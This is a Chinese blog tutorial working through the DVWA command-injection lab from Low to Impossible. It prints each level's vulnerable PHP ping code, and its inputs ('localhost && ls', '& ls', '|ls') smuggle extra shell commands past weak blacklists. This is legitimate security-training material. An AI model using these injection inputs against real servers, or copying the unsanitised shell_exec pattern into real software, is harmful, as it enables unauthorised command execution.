网络安全入门之命令行注入 DVWA Command Injection Low to High Level

1. 背景

最近需要补充一下网络安全方面的知识,于是就从基础的靶场 DVWA (Damn Vulnerable Web Application) 开始刷起,这一篇是关于从LowHigh难度的命令行注入的内容。

和我一样希望学习网络安全知识的同学,推荐学习《Web安全攻防实战》《安全攻防技能30讲》

2. 环境搭建

参考上一篇关于 Brute Force 暴力破解密码的博客

3. 命令行注入

3.1. Low

Figure 1. Command Injection \text{Figure 1. Command Injection}

先从 Low 难度开始,我们参考一下源码。


<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

我们可以看到,这里没有对我们的输入做任何的限制,我们输入的命令会被拼接在 ping 命令的后面,直接在命令行执行,并返回输出。

于是,我们可以通过 && 命令拼接我们想让服务器执行的命令,在服务器上为所欲为。

比如拼接ls 命令显示当前目录下的文件。

localhost && ls

Figure 2. Low \text{Figure 2. Low}

输出有一点乱,我们可以把 ping 命令的输出重定向到 temp.txt 文件中。

localhost > temp.txt && ls

Figure 3. Redirect Output \text{Figure 3. Redirect Output}

我们可以看到,当前目录下有4个文件,一个是我们刚创建的temp.txt

help
index.php
source
temp.txt

如果这是一场 CTF 夺旗赛的话,flag 应该就在当前目录下,可以通过 cat 命令获取密钥了。

3.2. Medium

接下来是 Medium 难度。

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Set blacklist
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

从源码中我们发现代码中多了两个替换规则,建立了输入的黑名单。

// Set blacklist
$substitutions = array(
    '&&' => '',
    ';'  => '',
);

但是,这个黑名单非常得脆弱,我们只要把 && 换成 & 命令就能绕开黑名单了。

&&& 都能起到命令拼接的作用,a && ba 命令执行成功的情况下执行 b 命令,a & b 则无论 a 是否执行成功都会执行 b

localhost > temp.txt & ls

Figure 4. Medium \text{Figure 4. Medium}

3.3. High

接下来就是 High 难度了。

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = trim($_REQUEST[ 'ip' ]);

    // Set blacklist
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

High 难度的黑名单更加完善了,& 命令也被替换掉了。逻辑上好像没有什么问题,但是仔细看的话,我们会发现替换规则中的一个漏洞,'| ' 右边多了一个空格,这就给了我们机会了。

// Set blacklist
$substitutions = array(
    '&'  => '',
    ';'  => '',
    '| ' => '',
    '-'  => '',
    '$'  => '',
    '('  => '',
    ')'  => '',
    '`'  => '',
    '||' => '',
);

a | b 表示将 a 命令的输出作为 b 命令的输入。如果 b 命令不接受输入的话,可以可以当作连接符号使用。

localhost > temp.txt |ls

Figure 5. High \text{Figure 5. High}

3.4. Impossible

Impossible 难度使用了白名单,要求输入为xxx.xxx.xxx.xxx的格式,xxx还要求是数字,基本上就没有什么安全漏洞了。

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $target = $_REQUEST[ 'ip' ];
    $target = stripslashes( $target );

    // Split the IP into 4 octects
    $octet = explode( ".", $target );

    // Check IF each octet is an integer
    if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
        // If all 4 octets are int's put the IP back together.
        $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }

        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
    }
    else {
        // Ops. Let the user name theres a mistake
        echo '<pre>ERROR: You have entered an invalid IP.</pre>';
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

联系邮箱[email protected]

CSDNhttps://me.csdn.net/qq_41729780

知乎https://zhuanlan.zhihu.com/c_1225417532351741952

公众号复杂网络与机器学习

欢迎关注/转载,有问题欢迎通过邮箱交流。

猜你喜欢

转载自blog.csdn.net/qq_41729780/article/details/107090242
今日推荐